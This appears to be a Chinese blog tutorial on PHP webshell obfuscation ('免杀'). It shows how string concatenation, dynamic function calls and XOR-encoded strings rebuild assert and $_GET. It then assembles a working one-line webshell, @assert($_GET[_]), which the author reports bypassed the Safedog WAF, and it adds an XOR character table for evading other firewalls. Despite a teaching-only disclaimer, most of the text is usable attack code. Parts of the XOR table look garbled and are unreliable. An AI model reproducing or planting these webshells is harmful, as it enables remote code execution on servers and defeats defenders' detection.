作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途
PHP木马免杀小技巧
- 免杀小技巧
- 1.字符串拼接方式,构造敏感函数。
- 2.通过PHP的动态函数方法执行一句话。
- 3.利用php异或^构造字符串
- 免杀木马构造
- 一句话测试
- 异或转码数据
- 小结
免杀小技巧
1.字符串拼接方式,构造敏感函数。
<?php
$a = 'ass';
$b = 'er';
$c = 't';
$d = $a.$b.$c; //assert
2.通过PHP的动态函数方法执行一句话。
<?php
$a = 'assert';
$b = '_GET';
$a($$b['mu']); //assert($_GET['mu'])
动态函数的使用在这有部分介绍
3.利用php异或^构造字符串
PHP有一特性
当两个字符串执行异或,会得到一个字符串。
可以通过两个非字母字符串构造a-z任意字母
<?php
$a = ('0001'^'`').('0002'^'`').('0003'^'`').('0004'^'`').('0005'^'`').('0006'^'`');
echo $a;//abcdef
免杀木马构造
综合上面提到的小技巧,实现一句话木马的构造,并绕过大部分WAF
<?php
$_=('0001'^'`').('0013'^'`').('0013'^'`');//ass
$__=('0005'^'`').('0012'^'`').('0014'^'`'); //ert
$_ = $_.$__;//assert
$__='_'.('\''^'`').('%'^'`').('4'^'`'); //_GET
//$__='_'.('
//'^']').('/'^'`').('000e'^']').(' '^']'); //_POST
$___=$$__;
@$_($___[_]); //@assert($_GET[_])
?>
一句话测试
成功执行,绕过安全狗检测
异或转码数据
自己整理的部分可实现的字符串
乱码字符是ASCII码,直接复制到本地php文件中使用即可。
('0001'^'`').('0002'^'`').('0003'^'`').('0004'^'`').('0005'^'`').('0006'^'`').('0007'^'`')//abcdefg
(''^'`').(' '^'`').('
'^'`').('000b'^'`').(''^'`').('
'^'`').('000e'^'`')//hijklmn
('000f'^'`').('0010'^'`').('0011'^'`').('0012'^'`').('0013'^'`').('0014'^'`')//opqrst
('0015'^'`').('0016'^'`').('0017'^'`').('0018'^'`').('0019'^'`').('001a'^'`')//uvwxyz
('!'^'`').('"'^'`').('#'^'`').('$'^'`').('%'^'`').('&'^'`').('\''^'`')//ABCDEFG
('('^'`').(')'^'`').('*'^'`').('+'^'`').(','^'`').('-'^'`').('.'^'`')//HIJKLMN
('/'^'`').('0'^'`').('1'^'`').('2'^'`').('3'^'`').('4'^'`')//OPQRST
('5'^'`').('6'^'`').('7'^'`').('8'^'`').('9'^'`').(':'^'`')//UVWXYZ
('001c'^']').('001f'^']').('001e'^']').('0019'^']').('0018'^']').('001b'^']').('001a'^']')//ABCDEFG
('0015'^']').('0014'^']').('0017'^']').('0016'^']').('0011'^']').('0010'^']').('0013'^']')//HIJKLMN
('0012'^']').('
'^']').(''^']').('000f'^']').('000e'^']').(' '^']')//OPQRST
(''^']').('000b'^']').('
'^']').('0005'^']').('0004'^']').('0007'^']')//UVWXYZ
小结
waf的免杀绕过就是打乱木马的特征。
这里只测试了安全狗能绕过,其他waf自行测试吧